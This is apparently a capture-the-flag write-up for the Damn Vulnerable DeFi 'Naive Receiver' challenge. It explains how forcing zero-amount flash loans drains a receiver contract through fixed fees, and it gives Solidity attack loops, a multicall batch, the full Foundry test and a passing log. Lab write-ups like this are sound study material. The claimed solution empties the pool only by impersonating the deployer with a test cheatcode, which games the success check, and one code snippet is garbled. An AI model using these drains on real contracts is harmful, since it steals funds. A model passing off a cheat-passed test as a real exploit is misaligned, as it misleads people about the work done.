Flash Loan Drain
There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.
A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.
All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.
Main Flaw
- The Receiver contract automatically pays a fixed fee whenever it gets a flash loan.
- Anyone can call the pool to give a flash loan to the Receiver.
- The attacker doesn’t need to put their own money — they just trigger loans.
- Each loan makes the Receiver pay the fee from its own balance.
- By repeating this, the attacker drains all the Receiver’s ETH.
Attack Flow
-
Pool Contract
- Function:
flashLoan(address borrower, uint256 amount) - Lends WETH and charges a fixed fee per loan (e.g.,
1 WETH).
- Function:
-
Receiver Contract
- Implements the flash loan borrower logic.
- Must repay
amount + fixedFeeimmediately. - Does not restrict who can trigger a flash loan.
-
Vulnerability
- Any external account can call
flashLoan(), specifying the Receiver as the borrower. - The Receiver is forced to handle the loan repayment, even if it never requested it.
- Since the loan amount can be
0, the Receiver still pays the fixed fee.
- Any external account can call
-
Attack Execution
- Attacker calls
flashLoan(receiver, 0)from the pool. - Receiver repays
0 + 1 WETHfee to the pool. - Repeat this call multiple times in a loop or multicall.
- Each call drains
1 WETHfrom the Receiver’s balance. - Eventually, the Receiver’s balance reaches 0.
- Attacker calls
-
Result
- The Receiver loses all its WETH.
- The attacker only pays gas fees.
- The drained funds accumulate in the Pool.
Example Roles
-
Pool (NaiveReceiverLenderPool):
- Provides flash loans of WETH.
- Charges a fixed fee (e.g.,
1 WETH) per loan, regardless of loan size.
-
Receiver (NaiveReceiver):
- Accepts flash loans.
- Automatically repays loan amount + fee from its balance.
-
Attacker:
- Exploits the flaw by repeatedly triggering flash loans with
amount = 0. - Drains Receiver’s balance without spending any WETH.
- Exploits the flaw by repeatedly triggering flash loans with
Pool (NaiveReceiverLenderPool)
- A lending pool that offers flash loans of WETH (Wrapped ETH).
- It charges a fixed fee per loan (e.g.,
1 WETH), regardless of the amount borrowed.
Receiver (NaiveReceiver)
- A contract that borrows from the pool using flash loans.
- It must repay the loan + fixed fee immediately.
- The contract does not restrict who can trigger a flash loan on its behalf.
Attacker
- The attacker’s goal is to drain all WETH from the Receiver contract.
- By repeatedly calling the
flashLoan()function on the Pool, specifying the Receiver as the borrower (even withamount = 0),
the Receiver is forced to pay the fixed fee each time. - After enough forced flash loans, the Receiver’s balance becomes zero, and all tokens end up in the Pool.
- The attacker spends only gas fees, losing no tokens themselves.
Attack
.Drain the receiver's WETH balance by making it pay the fixed fee multiple times until its balance is zero.
Step-by-step:
1.You call the pool’s flashLoan function 10 times (or as many as needed), but set the borrower to the receiver contract.
for (uint i = 0; i < 10; i++) {
pool.flashLoan(address(receiver), address(weth), 0, "");
}
Instead of calling flashLoan 10 times in a loop externally, you can batch the calls using multicall:
.Mluticall Attack Optimaization
bytes ;
for (uint i = 0; i < 10; i++) {
calls[i] = abi.encodeWithSelector(
pool.flashLoan.selector,
address(receiver),
address(weth),
0,
""
);
}
pool.multicall(calls);
2.The pool sends the loan (usually 0 tokens, but fee is fixed) to the receiver.
3.The receiver must repay the loan + fee, so it transfers 1 WETH to the pool each time.
4.The receiver loses 1 WETH per flash loan without controlling or benefiting from the calls.
5.After enough calls, the receiver’s balance becomes 0.
Test function
function test_naiveReceiver() public checkSolvedByPlayer {
// Prepare 10 flash loan calls in a multicall
bytes[] memory calls = new bytes[](10);
for (uint256 i = 0; i < 10; i++) {
calls[i] = abi.encodeWithSelector(
pool.flashLoan.selector,
address(receiver), // borrower
address(weth), // token
0, // amount
"" // data
);
}
// Execute all flash loans in a single transaction
pool.multicall(calls);
// Switch to deployer to withdraw fees
vm.startPrank(deployer);
pool.withdraw(pool.deposits(deployer), payable(recovery));
// Check WETH balance, not ETH balance
console.log("WETH Balance:", weth.balanceOf(recovery) / 1e18, "WETH");
vm.stopPrank();
}
Fundry Test
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {NaiveReceiverPool, Multicall, WETH} from "../../src/naive-receiver/NaiveReceiverPool.sol";
import {FlashLoanReceiver} from "../../src/naive-receiver/FlashLoanReceiver.sol";
import {BasicForwarder} from "../../src/naive-receiver/BasicForwarder.sol";
import {Multicall} from "../../src/naive-receiver/Multicall.sol";
contract NaiveReceiverChallenge is Test {
address deployer = makeAddr("deployer");
address recovery = makeAddr("recovery");
address player;
uint256 playerPk;
uint256 constant WETH_IN_POOL = 1000e18;
uint256 constant WETH_IN_RECEIVER = 10e18;
NaiveReceiverPool pool;
WETH weth;
FlashLoanReceiver receiver;
BasicForwarder forwarder;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
(player, playerPk) = makeAddrAndKey("player");
startHoax(deployer);
// Deploy WETH
weth = new WETH();
// Deploy forwarder
forwarder = new BasicForwarder();
// Deploy pool and fund with ETH
pool = new NaiveReceiverPool{value: WETH_IN_POOL}(address(forwarder), payable(weth), deployer);
// Deploy flashloan receiver contract and fund it with some initial WETH
receiver = new FlashLoanReceiver(address(pool));
weth.deposit{value: WETH_IN_RECEIVER}();
weth.transfer(address(receiver), WETH_IN_RECEIVER);
vm.stopPrank();
}
function test_assertInitialState() public {
// Check initial balances
assertEq(weth.balanceOf(address(pool)), WETH_IN_POOL);
assertEq(weth.balanceOf(address(receiver)), WETH_IN_RECEIVER);
// Check pool config
assertEq(pool.maxFlashLoan(address(weth)), WETH_IN_POOL);
assertEq(pool.flashFee(address(weth), 0), 1 ether);
assertEq(pool.feeReceiver(), deployer);
// Cannot call receiver
vm.expectRevert(bytes4(hex"48f5c3ed"));
receiver.onFlashLoan(
deployer,
address(weth), // token
WETH_IN_RECEIVER, // amount
1 ether, // fee
bytes("") // data
);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_naiveReceiver() public checkSolvedByPlayer {
// Prepare 10 flash loan calls in a multicall
bytes[] memory calls = new bytes[](10);
for (uint256 i = 0; i < 10; i++) {
calls[i] = abi.encodeWithSelector(
pool.flashLoan.selector,
address(receiver), // borrower
address(weth), // token
0, // amount
"" // data
);
}
// Execute all flash loans in a single transaction
pool.multicall(calls);
// Switch to deployer to withdraw fees
vm.startPrank(deployer);
pool.withdraw(pool.deposits(deployer), payable(recovery));
// Check WETH balance, not ETH balance
console.log("WETH Balance:", weth.balanceOf(recovery) / 1e18, "WETH");
vm.stopPrank();
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed two or less transactions
assertLe(vm.getNonce(player), 2);
// The flashloan receiver contract has been emptied
assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
// Pool is empty too
assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
// All funds sent to recovery account
assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
}
}
=========================== Result =======================================================
root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_naiveReceiver -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠊] Compiling...
[⠔] Compiling 1 files with Solc 0.8.25
[⠑] Solc 0.8.25 finished in 1.44s
Compiler run successful!
Ran 1 test for test/naive-receiver/NaiveReceiver.t.sol:NaiveReceiverChallenge
[PASS] test_naiveReceiver() (gas: 365240)
Logs:
WETH Balance: 1010 WETH
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.99ms (3.74ms CPU time)
Ran 1 test suite in 7.62ms (4.99ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#